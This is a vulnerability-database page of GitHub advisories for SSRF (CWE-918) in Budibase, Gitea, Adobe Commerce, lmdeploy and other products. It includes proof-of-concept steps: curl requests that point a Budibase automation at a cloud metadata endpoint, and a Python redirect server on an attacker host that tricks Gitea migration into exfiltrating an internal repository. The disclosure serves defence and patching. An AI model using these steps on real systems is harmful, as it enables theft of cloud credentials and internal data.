Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4757 vulnerabilities reference this CWE, most recent first.

GHSA-RPJ4-7X2V-WJRF

Vulnerability from github – Published: 2026-05-15 17:47 – Updated: 2026-06-08 23:50
VLAI
Summary
Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation
Details

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.

Vulnerable Code

packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetch(fileUrl)  // NO blacklist check!
  // ...
  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!
}

Contrast with All Other Automation Steps (Same Codebase)

Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:

  • steps/slack.ts:19: response = await fetchWithBlacklist(url, {...})
  • steps/discord.ts:28: response = await fetchWithBlacklist(url, {...})
  • steps/zapier.ts:33: response = await fetchWithBlacklist(url, {...})
  • steps/n8n.ts:53: response = await fetchWithBlacklist(url, request)
  • steps/outgoingWebhook.ts: response = await fetchWithBlacklist(url, {...})
  • steps/make.ts: response = await fetchWithBlacklist(url, {...})

The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks: - 127.0.0.0/8 (loopback) - 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918 private) - 169.254.0.0/16 (link-local / cloud metadata) - IPv6 private addresses

The AI Extract File step bypasses all of these protections.

Steps to Reproduce

Via Budibase UI

  1. Login as builder user
  2. Create or open any app
  3. Go to Automations > New Automation
  4. Add trigger: App Action
  5. Add step: AI > Extract File Data
  6. Set Source: URL
  7. Set File URL: http://169.254.169.254/latest/meta-data/ (or any internal IP)
  8. Click Run Test — the server makes the request without IP blacklist validation

Via curl (API)

# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/global/auth/default/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'

# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/automations" \
  -X POST -H "Content-Type: application/json" \
  -H "x-budibase-app-id: YOUR_APP_ID" \
  -d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'

Code Review Verification

Compare the vulnerable function with the safe pattern used everywhere else:

VULNERABLE (no blacklist):
  packages/server/src/automations/steps/ai/extract.ts:116
    const response = await fetch(fileUrl)

SAFE (with blacklist) - every other step:
  packages/server/src/automations/steps/slack.ts:19
    response = await fetchWithBlacklist(url, {...})
  packages/server/src/automations/steps/discord.ts:28
    response = await fetchWithBlacklist(url, {...})

Expected vs Actual Behavior

Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist() Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.

Impact

An authenticated user with builder permissions can:

  • Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
  • Scan internal network services and ports
  • Access internal APIs not intended for external access
  • Exfiltrate data from internal services via the automation response

In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.

Proposed Fix

Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:

import { fetchWithBlacklist } from "../utils"

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist
  // ...
  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist
}
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.34.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T17:47:10Z",
    "nvd_published_at": "2026-05-27T18:16:25Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.\n\n### Vulnerable Code\n\n**`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**:\n\n```typescript\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetch(fileUrl)  // NO blacklist check!\n  // ...\n  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!\n}\n```\n\n### Contrast with All Other Automation Steps (Same Codebase)\n\nEvery other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`:\n\n- `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)`\n- `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})`\n\nThe `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks:\n- `127.0.0.0/8` (loopback)\n- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private)\n- `169.254.0.0/16` (link-local / cloud metadata)\n- IPv6 private addresses\n\nThe AI Extract File step bypasses all of these protections.\n\n## Steps to Reproduce\n\n### Via Budibase UI\n\n1. Login as builder user\n2. Create or open any app\n3. Go to **Automations** \u003e **New Automation**\n4. Add trigger: **App Action**\n5. Add step: **AI \u003e Extract File Data**\n6. Set Source: `URL`\n7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP)\n8. Click **Run Test** \u2014 the server makes the request without IP blacklist validation\n\n### Via curl (API)\n\n```bash\n# 1. Login and get session cookie\ncurl -s -c /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/global/auth/default/login\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"YOUR_EMAIL\",\"password\":\"YOUR_PASSWORD\"}\u0027\n\n# 2. Create automation with SSRF payload (replace YOUR_APP_ID)\ncurl -s -b /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/automations\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: YOUR_APP_ID\" \\\n  -d \u0027{\"name\":\"SSRF PoC\",\"definition\":{\"trigger\":{\"stepId\":\"APP\",\"event\":\"row:save\"},\"steps\":[{\"stepId\":\"AI_EXTRACT\",\"inputs\":{\"source\":\"URL\",\"fileUrl\":\"http://169.254.169.254/latest/meta-data/\"}}]}}\u0027\n```\n\n### Code Review Verification\n\nCompare the vulnerable function with the safe pattern used everywhere else:\n\n```\nVULNERABLE (no blacklist):\n  packages/server/src/automations/steps/ai/extract.ts:116\n    const response = await fetch(fileUrl)\n\nSAFE (with blacklist) - every other step:\n  packages/server/src/automations/steps/slack.ts:19\n    response = await fetchWithBlacklist(url, {...})\n  packages/server/src/automations/steps/discord.ts:28\n    response = await fetchWithBlacklist(url, {...})\n```\n\n### Expected vs Actual Behavior\n\n**Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()`\n**Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.\n\n## Impact\n\nAn authenticated user with builder permissions can:\n\n- **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS)\n- **Scan internal network** services and ports\n- **Access internal APIs** not intended for external access\n- **Exfiltrate data** from internal services via the automation response\n\nIn Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.\n\n## Proposed Fix\n\nReplace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps:\n\n```typescript\nimport { fetchWithBlacklist } from \"../utils\"\n\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist\n  // ...\n  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist\n}\n```",
  "id": "GHSA-rpj4-7x2v-wjrf",
  "modified": "2026-06-08T23:50:33Z",
  "published": "2026-05-15T17:47:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-rpj4-7x2v-wjrf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45548"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation"
}

GHSA-RPJ7-34G9-F3F7

Vulnerability from github – Published: 2026-05-12 21:31 – Updated: 2026-05-12 21:31
VLAI
Details

Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-34647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T20:16:35Z",
    "severity": "HIGH"
  },
  "details": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.",
  "id": "GHSA-rpj7-34g9-f3f7",
  "modified": "2026-05-12T21:31:33Z",
  "published": "2026-05-12T21:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34647"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RPM8-R6FR-56F4

Vulnerability from github – Published: 2025-02-26 00:32 – Updated: 2025-02-26 00:32
VLAI
Details

HCL MyCloud is affected by Improper Access Control - an unauthenticated privilege escalation vulnerability which may lead to information disclosure and potential for Server-Side Request Forgery (SSRF) and Denial of Service(DOS) attacks from unauthenticated users.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-30150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-25T23:15:10Z",
    "severity": "MODERATE"
  },
  "details": "HCL MyCloud is affected by Improper Access Control - an unauthenticated privilege escalation vulnerability which may lead to information disclosure and potential for Server-Side Request Forgery (SSRF) and Denial of Service(DOS) attacks from unauthenticated users.",
  "id": "GHSA-rpm8-r6fr-56f4",
  "modified": "2025-02-26T00:32:21Z",
  "published": "2025-02-26T00:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30150"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0119368"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RPVQ-43PV-VPGX

Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-27 00:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Marco Milesi ANAC XML Viewer anac-xml-viewer allows Server Side Request Forgery.This issue affects ANAC XML Viewer: from n/a through <= 1.8.2.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-64252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T17:16:00Z",
    "severity": "CRITICAL"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Marco Milesi ANAC XML Viewer anac-xml-viewer allows Server Side Request Forgery.This issue affects ANAC XML Viewer: from n/a through \u003c= 1.8.2.",
  "id": "GHSA-rpvq-43pv-vpgx",
  "modified": "2026-01-27T00:31:11Z",
  "published": "2026-01-22T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64252"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/anac-xml-viewer/vulnerability/wordpress-anac-xml-viewer-plugin-1-8-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQ8F-77G8-6FM5

Vulnerability from github – Published: 2024-11-06 00:31 – Updated: 2024-11-07 21:31
VLAI
Details

An issue in Linux Server Heimdall v.2.6.1 allows a remote attacker to execute arbitrary code via a crafted script to the Add new application.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-51358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-05T23:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in Linux Server Heimdall v.2.6.1 allows a remote attacker to execute arbitrary code via a crafted script to the Add new application.",
  "id": "GHSA-rq8f-77g8-6fm5",
  "modified": "2024-11-07T21:31:43Z",
  "published": "2024-11-06T00:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51358"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kov404/CVE-2024-51358"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQ9C-34HQ-JQG8

Vulnerability from github – Published: 2023-01-20 12:30 – Updated: 2023-01-27 15:30
VLAI
Details

An SSRF issue was discovered in Reprise License Manager (RLM) web interface through 14.2BL4 that allows remote attackers to trigger outbound requests to intranet servers, conduct port scans via the actserver parameter in License Activation function.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-37498"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-20T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An SSRF issue was discovered in Reprise License Manager (RLM) web interface through 14.2BL4 that allows remote attackers to trigger outbound requests to intranet servers, conduct port scans via the actserver parameter in License Activation function.",
  "id": "GHSA-rq9c-34hq-jqg8",
  "modified": "2023-01-27T15:30:32Z",
  "published": "2023-01-20T12:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37498"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakduk/Advisories/blob/main/Reprise%20License%20Manager/README.md"
    },
    {
      "type": "WEB",
      "url": "http://reprise.com"
    },
    {
      "type": "WEB",
      "url": "http://reprisesoftware.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQHF-RG9P-W5GG

Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-23 18:30
VLAI
Details

lmdeploy's OpenAI-compatible API server contains a server-side request forgery vulnerability that allows unauthenticated attackers to access internal services and cloud metadata endpoints by supplying a crafted image_url that redirects to internal targets. Attackers can send a POST request to the chat completions endpoint with an image_url pointing to an attacker-controlled server that responds with an HTTP 302 redirect to internal addresses such as loopback or instance-metadata endpoints, bypassing the initial URL safety check because redirects are followed without re-validating each hop through the safety guard.

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-63764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T21:16:53Z",
    "severity": "CRITICAL"
  },
  "details": "lmdeploy\u0027s OpenAI-compatible API server contains a server-side request forgery vulnerability that allows unauthenticated attackers to access internal services and cloud metadata endpoints by supplying a crafted image_url that redirects to internal targets. Attackers can send a POST request to the chat completions endpoint with an image_url pointing to an attacker-controlled server that responds with an HTTP 302 redirect to internal addresses such as loopback or instance-metadata endpoints, bypassing the initial URL safety check because redirects are followed without re-validating each hop through the safety guard.",
  "id": "GHSA-rqhf-rg9p-w5gg",
  "modified": "2026-07-23T18:30:56Z",
  "published": "2026-07-21T21:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/issues/4761"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/pull/4734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/commit/03c313006d17cc3feae86b633c44206a997c44db"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/lmdeploy-server-side-request-forgery-via-http-redirect-bypass"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/lmdeploy-server-side-request-forgery-via-http-redirect-bypass-of-private-ip-guard-in-vision-image-fetch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RQHX-647V-WX32

Vulnerability from github – Published: 2026-07-21 20:33 – Updated: 2026-07-21 20:33
VLAI
Summary
Gitea: SSRF via HTTP Redirect in Repository Migration
Details

Summary

Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.

Affected Version

Gitea 1.25.4 (latest stable at time of writing), default configuration.

Prerequisites

  1. A regular Gitea user account (no admin privileges required)
  2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects

Reproduction

Environment

Role Location Network
Attacker Any machine with internet access External network (VLAN A)
Gitea Server Windows 11 VM, Gitea 1.25.4, default config, SQLite Internal network (VLAN B)
Internal service Same VM, bound to 127.0.0.1:18082 Localhost only
Redirect server Attacker-controlled public server, port 18080 Internet

The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.

Step 1: Create an attacker account on Gitea

Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.

Step 2: Set up an internal service on the Gitea host

On the Gitea VM, create a bare Git repository that simulates an internal service:

mkdir C:\internal-repo
cd C:\internal-repo
git init
echo CONFIDENTIAL_DATA_2025 > secret.txt
git add .
git commit -m "internal confidential"
git clone --bare . C:\internal.git
cd C:\internal.git
git update-server-info
python -m http.server 18082 --bind 127.0.0.1

This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.

Step 3: Confirm Gitea blocks direct access to internal addresses

From the attacker machine:

curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
  -H "Authorization: token <USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://127.0.0.1:18082/",
    "repo_name": "direct-test",
    "service": "git"
  }'

Response:

{"message":"You can not import from disallowed hosts."}

This confirms that Gitea correctly blocks migration from internal addresses when provided directly.

Step 4: Set up a redirect server

On an attacker-controlled public server, run a script that redirects all requests to the internal service:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path
        if path.startswith("/repo.git"):
            path = path[len("/repo.git"):]
        target = f"http://127.0.0.1:18082{path}"
        self.send_response(302)
        self.send_header("Location", target)
        self.end_headers()
        print(f"[+] Redirected {self.path} -> {target}")

    do_HEAD = do_GET

HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()

Step 5: Exploit the redirect bypass

From the attacker machine:

curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
  -H "Authorization: token <USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
    "repo_name": "exfil-test",
    "service": "git",
    "private": true
  }'

Response: HTTP 201 Created. The migration succeeds.

Step 6: Retrieve the exfiltrated data

From the attacker machine:

git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
cat exfil-test/secret.txt

Output:

CONFIDENTIAL_DATA_2025

The attacker now has the contents of the internal repository that was only accessible on localhost.

What happens during the attack

  1. The attacker sends a migration request pointing to their public server.
  2. Gitea validates the URL. The destination is a public IP, so it passes the check.
  3. Gitea contacts the attacker's server to clone the repository.
  4. The attacker's server responds with 302 Location: http://127.0.0.1:18082/...
  5. Gitea follows the redirect to 127.0.0.1 without validating the new destination.
  6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.
  7. The attacker clones their newly created repository and reads the internal data.

Impact

Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:

  1. Internal Git repositories or other version control systems not exposed to the internet
  2. Cloud metadata endpoints (169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure
  3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
  4. Other services within the same network segment that trust connections from the Gitea server

The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.

Suggested Fix

Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.26.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:33:52Z",
    "nvd_published_at": "2026-07-03T21:17:05Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nGitea 1.25.4 validates the initial URL provided to the repository migration endpoint (`POST /api/v1/repos/migrate`) and correctly blocks requests to internal addresses like `127.0.0.1` or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.\n\n## Affected Version\n\nGitea 1.25.4 (latest stable at time of writing), default configuration.\n\n## Prerequisites\n\n1. A regular Gitea user account (no admin privileges required)\n2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects\n\n## Reproduction\n\n### Environment\n\n| Role             | Location                                                       | Network                                  |\n|------------------|----------------------------------------------------------------|------------------------------------------|\n| Attacker         | Any machine with internet access                               | External network (VLAN A)                |\n| Gitea Server     | Windows 11 VM, Gitea 1.25.4, default config, SQLite           | Internal network (VLAN B)                |\n| Internal service | Same VM, bound to `127.0.0.1:18082`                           | Localhost only                           |\n| Redirect server  | Attacker-controlled public server, port 18080                 | Internet                                 |\n\nThe attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.\n\n### Step 1: Create an attacker account on Gitea\n\nRegister a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under **Settings \u003e Applications** with the `repo: write` scope. The migration endpoint requires this because it creates a new repository. This token is referenced as `\u003cUSER_TOKEN\u003e` in the steps below.\n\n### Step 2: Set up an internal service on the Gitea host\n\nOn the Gitea VM, create a bare Git repository that simulates an internal service:\n\n```bash\nmkdir C:\\internal-repo\ncd C:\\internal-repo\ngit init\necho CONFIDENTIAL_DATA_2025 \u003e secret.txt\ngit add .\ngit commit -m \"internal confidential\"\ngit clone --bare . C:\\internal.git\ncd C:\\internal.git\ngit update-server-info\npython -m http.server 18082 --bind 127.0.0.1\n```\n\nThis serves a Git repository on localhost port 18082. It is not reachable from outside the machine.\n\n### Step 3: Confirm Gitea blocks direct access to internal addresses\n\nFrom the attacker machine:\n\n```bash\ncurl -X POST http://\u003cGITEA_SERVER\u003e:3000/api/v1/repos/migrate \\\n  -H \"Authorization: token \u003cUSER_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"clone_addr\": \"http://127.0.0.1:18082/\",\n    \"repo_name\": \"direct-test\",\n    \"service\": \"git\"\n  }\u0027\n```\n\nResponse:\n\n```json\n{\"message\":\"You can not import from disallowed hosts.\"}\n```\n\nThis confirms that Gitea correctly blocks migration from internal addresses when provided directly.\n\n### Step 4: Set up a redirect server\n\nOn an attacker-controlled public server, run a script that redirects all requests to the internal service:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        path = self.path\n        if path.startswith(\"/repo.git\"):\n            path = path[len(\"/repo.git\"):]\n        target = f\"http://127.0.0.1:18082{path}\"\n        self.send_response(302)\n        self.send_header(\"Location\", target)\n        self.end_headers()\n        print(f\"[+] Redirected {self.path} -\u003e {target}\")\n\n    do_HEAD = do_GET\n\nHTTPServer((\"0.0.0.0\", 18080), RedirectHandler).serve_forever()\n```\n\n### Step 5: Exploit the redirect bypass\n\nFrom the attacker machine:\n\n```bash\ncurl -X POST http://\u003cGITEA_SERVER\u003e:3000/api/v1/repos/migrate \\\n  -H \"Authorization: token \u003cUSER_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"clone_addr\": 